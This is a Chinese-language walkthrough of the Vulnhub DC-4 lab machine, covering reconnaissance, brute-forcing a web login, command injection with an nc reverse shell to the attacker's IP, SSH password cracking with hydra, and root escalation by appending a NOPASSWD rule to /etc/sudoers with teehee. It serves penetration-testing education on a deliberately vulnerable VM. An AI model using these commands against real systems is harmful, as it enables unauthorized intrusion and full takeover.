Vulhub靶场介绍:
Vulhub是一个专注于安全漏洞复现与学习的开源项目,它提供了一系列常见漏洞的复现环境,帮助安全从业者学习和研究漏洞利用技术。这些复现环境包括但不限于Web应用、容器、操作系统等。
Vulhub的特点包括:
- 丰富的漏洞场景: Vulhub涵盖了多种常见的漏洞场景,包括Web应用漏洞(如SQL注入、XSS等)、容器漏洞(如Docker安全配置)、操作系统漏洞等。
- 详细的漏洞复现指南: 对于每个漏洞场景,Vulhub提供了详细的漏洞复现指南,包括环境搭建、漏洞利用过程等步骤,方便用户学习和实践。
- 易于使用的环境搭建: Vulhub提供了一键部署或Docker镜像的方式,使用户可以快速搭建漏洞复现环境,节省了配置环境的时间。
- 持续更新与维护: Vulhub项目在GitHub上开源,得到了全球安全社区的贡献与反馈,保持了良好的更新与维护。
总的来说,Vulhub为安全从业者提供了一个学习漏洞利用技术的良好平台,帮助他们提升安全意识和技能。
Vulnhub靶机下载:
官网下载地址:https://download.vulnhub.com/dc/DC-4.zip
Vulnhub靶机环境搭建:
下载压缩包之后解压,然后使用VMware 或者Oracle打开打开即可
Vulnhub靶机DC-4渗透过程:
01 靶机信息收集:
靶机与kali网络模式均为nat模式
一、使用nmap工具发现靶机IP地址:
nmap -sn IP号段
渗透机 Kali IP:192.168.220.136
靶机DC-4 IP:192.168.220.137&192.168.94.185
二、端口扫描:
nmap -sV -A -n 192.168.220.137
通过端口扫描发现开放了22、80端口,通过对22端口进行弱口令或爆破无果后更换思路,访问80端口发现以下页面:
02 靶机渗透测试
对于上述页面通过弱口令、sql万能密码、sqlmap爆破均无所获,那么最后使用我们的密码爆破
用户名可根据我们经验推测出为admin,那么密码使用burpsuite进行密码爆破
抓包发送至intruder进行密码爆破
burpsuite中intruder介绍:
Burp Suite中的Intruder是一种高级的漏洞利用工具,主要用于自动化攻击和检测Web应用程序中的各种漏洞,如SQL注入、XSS、CSRF等。它提供了多种攻击模式和高度可定制的选项,使安全测试人员能够更有效地发现和利用潜在的漏洞。
Intruder的主要特点包括:
- 攻击模式:Intruder提供了多种攻击模式,包括:Cluster Bomb、Pitchfork、Battering Ram和Greedy,每种模式都有不同的用途和优势。
- Payloads:用户可以自定义各种Payloads(负载)来进行攻击,如数字范围、字典、自定义字符串等。这些Payloads可以用于测试参数的不同输入,以发现漏洞。
- 位置标记:用户可以使用特殊的标记将Payloads插入到HTTP请求的不同位置,例如GET参数、POST参数、请求头、Cookie等。
- 自动化:Intruder能够自动化地发送大量的HTTP请求,然后根据响应的结果来分析和识别可能存在的漏洞。
- 结果分析:Intruder能够将攻击结果进行整理和分类,方便用户进行漏洞分析和报告撰写。
在使用Intruder时,用户首先需要配置目标的URL和参数,然后选择适当的攻击模式和Payloads,并启动攻击。最后,用户可以根据攻击结果来分析漏洞,并采取进一步的行动,如修复漏洞或者进一步深入攻击。
将密码设置为变量,使用字典为kali中 /usr/share/wordlists/rockyou.txt进行批量爆破
通过少许时间之后爆破成功,密码为:happy
登录成功之后发现存在三个选项,点击run后发现执行了一个命令执行
猜测存在命令执行,尝试反弹shell
kali开始监听
nv -lvnp 4444
生成反弹shell 使用+好拼接:
nc+-e+/bin/sh+192.168.94.134+4444
成功反弹shell至kali当中,使用Python生成一个标准交互式shell
python -c 'import pty;pty.spawn("/bin/sh")'
03 权限提升
'cat /etc/passwd 发现三个可疑用户:charles、jim、sam
回到/home目录当中发现了对应三个用户的目录,并且在jim目录当中的backups目录下发现了密码备份bak文件
直接使用old-passwords.bak里面的密码开始爆破,爆破密码出 jim:jibril04
hydra -l jim -P passwords.txt ssh://192.168.94.185 -vV
在/var/mail目录当中发现了Charles发给jim的邮件,也发现了Charles的密码:Charles:^xHhA&hvim0y
那么在jim用户下就没有什么其他有价值的东西了,于是掉转矛头向Charles
!
尝试查看是否具有sudo的权限:sudo -l 从而发现有teehee
执行权限
发现-a 参数可以写入文件
teehee提权是使用teehee -a 把一个账号密码写入到etc/passwd中,这个用户具有root权限,再切换到这个用户即可
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
这条命令的意思在于(个人理解):允许用户charles在执行sudo命令时候无需输入密码,利用echo打印出sudo权限规则的文本,并将其追写到/etc/sudoers文件当中。这样就允许用户Charles在执行sudo命令时无需输入密码即可执行sudo命令。
详细官方解释:
echo ‘charles ALL=(ALL:ALL) NOPASSWD:ALL’: echo 命令用于向标准输出打印文本。此处的文本是 ‘charles ALL=(ALL:ALL) NOPASSWD:ALL’,它定义了一个 sudo 权限规则。
charles: 这是用户名,在这个例子中是指定的用户。
ALL=(ALL:ALL): 这部分规定了 charles 用户可以以任何用户身份和组执行任何命令。
NOPASSWD:ALL: 这部分规定了 charles 用户在执行 sudo 命令时无需输入密码。
|: 这是管道符号,用于将 echo 命令的输出传递给下一个命令。
sudo teehee -a /etc/sudoers:sudo 是一个授权用户执行特权命令的工具。teehee 命令用于从标准输入读取数据,并将其写入文件。-a 参数表示追加写入。
/etc/sudoers: 这是一个特殊的文件,用于配置 sudo 的权限规则。只有具有适当权限的用户才能修改此文件。
sudo su 切换root权限
- sudo:它允许普通用户在不切换到root用户的情况下执行以其他用户权限运行的命令(默认是root权限)。使用sudo可以提供一定的安全性,因为只有授权的用户才能执行特定的命令。
- su:用于切换用户身份。默认情况下,如果不指定用户,则su命令会切换到root用户。
最后查看flag.txt
04 渗透过程中的总结:
在爆破密码时候,我们会用到old-password.bak中的密码,那么我们可以使用
python2 -m SimpleHTTPServer 8090
使用Python快速搭建一个http服务,从中下载bak文件,在使用cp old-password.bak password.txt,将old-password.bak中的密码复制到password.txt当中。如果大家还有其他方法可以在评论区告知!!!